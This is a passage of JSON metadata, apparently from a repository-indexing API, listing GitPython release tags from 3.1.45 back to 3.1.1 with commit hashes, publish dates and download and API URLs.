effd7e079621c4845820180c9a","kind":"tag","published_at":"2025-07-24T03:40:35.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.45","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.45/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.45"},{"name":"3.1.44","sha":"fb1b05124f1070ed56231a782daee0ffce9e1372","kind":"tag","published_at":"2025-01-02T07:32:22.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.44","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.44/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.44"},{"name":"3.1.43","sha":"53640535cf8314366a01da081947dd8504a299cd","kind":"tag","published_at":"2024-03-31T08:06:26.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.43","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.43/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.43"},{"name":"3.1.42","sha":"1f37b482edbe4a7189e5898309a4094f3f4cf404","kind":"tag","published_at":"2024-02-15T20:11:59.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.42","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.42/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.42"},{"name":"3.1.41","sha":"f28873828496a6632b3a99101e3582ad164e9bb9","kind":"tag","published_at":"2024-01-10T12:13:57.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.41","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.41/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.41"},{"name":"3.1.40","sha":"44102f30eaadcd122899f5f801f28b83bd9a5111","kind":"tag","published_at":"2023-10-18T15:27:57.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.40","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.40/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.40"},{"name":"3.1.38","sha":"6f765a2028e45a14853bf06801104cc6d22e053e","kind":"tag","published_at":"2023-10-17T06:08:52.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.38","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.38/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.38"},{"name":"3.1.37","sha":"b27a89f683cda85ebd78243c055e876282df89ee","kind":"tag","published_at":"2023-09-22T07:37:48.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.37","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.37/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.37"},{"name":"3.1.36","sha":"5343aa01e9d90481e4570797e99faf6a98ba8f6c","kind":"tag","published_at":"2023-09-12T05:55:29.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.36","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.36/manifests","release_url":null},{"name":"3.1.35","sha":"c8e303ffd3204195fc7f768f7b17dc5bde3dd53f","kind":"tag","published_at":"2023-09-07T13:35:53.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.35","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.35/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.35"},{"name":"3.1.34","sha":"2a2ae776825f249a3bb7efd9b08650486226b027","kind":"tag","published_at":"2023-09-03T14:33:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.34","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.34/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.34"},{"name":"3.1.33","sha":"993f04588aa362fdce7c7f2f0848b5daedd8cb72","kind":"tag","published_at":"2023-09-01T06:35:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.33","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.33/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.33"},{"name":"3.1.32","sha":"5d45ce243a12669724e969442e6725a894e30fd4","kind":"tag","published_at":"2023-07-10T17:55:47.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.32","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.32/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.32"},{"name":"3.1.31","sha":"f25333525425ee1497366fd300a60127aa652d79","kind":"tag","published_at":"2023-02-16T16:31:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.31","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.31/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.31"},{"name":"3.1.30","sha":"141cd651e459bff8919798b3ccf03dfa167757f6","kind":"tag","published_at":"2022-12-29T07:14:39.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.30","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.30/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.30"},{"name":"3.1.29","sha":"19aaa74aafc06663644d634f33bb8af871d58536","kind":"tag","published_at":"2022-10-10T23:49:03.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.29","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.29/manifests","release_url":null},{"name":"3.1.28","sha":"b6d9264de3536779f2ba35d696e578fe2fb6dfd6","kind":"tag","published_at":"2022-10-07T01:51:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.28","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.28/manifests","release_url":null},{"name":"3.1.27","sha":"d438e088278f2df10b3c38bd635d7207cb7548a6","kind":"tag","published_at":"2022-02-20T01:14:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.27","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.27/manifests","release_url":null},{"name":"3.1.26","sha":"851beabc93319d8dd05bff211b13d2b35ef097e0","kind":"tag","published_at":"2022-01-10T13:11:17.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.26","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.26/manifests","release_url":null},{"name":"3.1.25","sha":"b94cc253fe9e6355881eb299cfae8eea1a57a9c2","kind":"tag","published_at":"2022-01-07T02:09:01.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.25","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.25/manifests","release_url":null},{"name":"3.1.24","sha":"2d15c5a601e698e8f7859e821950cad0701b756d","kind":"tag","published_at":"2021-09-18T01:32:05.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.24","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.24/manifests","release_url":null},{"name":"3.1.23","sha":"03f198f66cceca745a67658b7d16bf4b7e40b9ab","kind":"tag","published_at":"2021-09-10T02:14:17.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.23","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.23/manifests","release_url":null},{"name":"3.1.22","sha":"856c0825abd856f01b21a2614f89df20f8f81443","kind":"tag","published_at":"2021-09-10T02:12:22.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.22","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.22/manifests","release_url":null},{"name":"3.1.20","sha":"8530a8b895d47d234ccaffeca0b866d75fa528b0","kind":"tag","published_at":"2021-07-28T01:55:12.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.20","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.20/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases/3.1.20"},{"name":"3.1.19","sha":"5b20664aba8e8a2fcae2f7f759122f3c48cec18d","kind":"tag","published_at":"2021-07-23T00:04:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.19","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.19/manifests","release_url":null},{"name":"3.1.18","sha":"bef6d375fd21e3047ed94b79a26183050c1cc4cb","kind":"tag","published_at":"2021-06-18T03:31:47.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.18","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.18/manifests","release_url":null},{"name":"3.1.16","sha":"e76b5379cf55fcd31a2e8696fb97adf8c4df1a8d","kind":"tag","published_at":"2021-05-15T01:30:13.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.16","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.16/manifests","release_url":null},{"name":"3.1.17","sha":"33346b25c3a4fb5ea37202d88d6a6c66379099c5","kind":"tag","published_at":"2021-05-15T01:29:39.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.17","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.17/manifests","release_url":null},{"name":"3.1.15","sha":"46b204d1b2eb6de6eaa31deacf4dd0a9095ca3fa","kind":"tag","published_at":"2021-04-21T05:38:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.15","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.15/manifests","release_url":null},{"name":"3.1.14","sha":"e62078d023ba436d84458d6e9d7a56f657b613ef","kind":"tag","published_at":"2021-02-28T04:55:33.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.14","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.14/manifests","release_url":null},{"name":"3.1.13","sha":"7988bb8ce25eb171d7fea88e3e6496504d0cb8f8","kind":"tag","published_at":"2021-02-09T14:48:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.13","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.13/manifests","release_url":null},{"name":"3.1.9","sha":"7cd47aeea822c484342e3f0632ae5cf8d332797d","kind":"tag","published_at":"2021-01-21T05:17:45.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.9/manifests","release_url":null},{"name":"3.1.12","sha":"3dd71d3edbf3930cce953736e026ac3c90dd2e59","kind":"tag","published_at":"2021-01-06T06:30:53.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.12","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.12/manifests","release_url":null},{"name":"3.1.11","sha":"9541d6bffe4e4275351d69fec2baf6327e1ff053","kind":"tag","published_at":"2020-10-23T11:38:21.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.11","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.11/manifests","release_url":null},{"name":"3.1.10","sha":"e30a597b028290c7f703e68c4698499b3362a38f","kind":"tag","published_at":"2020-10-23T08:57:45.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.10","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.10/manifests","release_url":null},{"name":"3.1.8","sha":"e7b5e92791dd4db3535b527079f985f91d1a5100","kind":"tag","published_at":"2020-09-04T01:55:02.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.8/manifests","release_url":null},{"name":"3.1.7","sha":"176838a364fa36613cd57488c352f56352be3139","kind":"tag","published_at":"2020-07-16T23:32:37.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.7/manifests","release_url":null},{"name":"3.1.6","sha":"a175068f3366bb12dba8231f2a017ca2f24024a8","kind":"tag","published_at":"2020-07-13T02:11:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.6/manifests","release_url":null},{"name":"3.1.5","sha":"9cb7ae8d9721e1269f5bacd6dbc33ecdec4659c0","kind":"tag","published_at":"2020-07-12T10:06:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.5/manifests","release_url":null},{"name":"3.1.4","sha":"fe65adc904f3e3ebf74e983e91b4346d5bacc468","kind":"tag","published_at":"2020-07-12T09:18:20.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.4/manifests","release_url":null},{"name":"3.1.3","sha":"24cd6dafc0008f155271f9462ae6ba6f0c0127a4","kind":"tag","published_at":"2020-05-31T03:21:59.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.3/manifests","release_url":null},{"name":"3.1.2","sha":"f14903a0d4bb3737c88386a5ad8a87479ddd8448","kind":"tag","published_at":"2020-05-05T06:13:39.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.2/manifests","release_url":null},{"name":"3.1.1","sha":"b860d1873a25e6577a8952d625ca063f1cf66a84","kind":"tag","published_at":"2020-04-11T07:43:10.000Z","download_url":"https://codeload.github.com/gi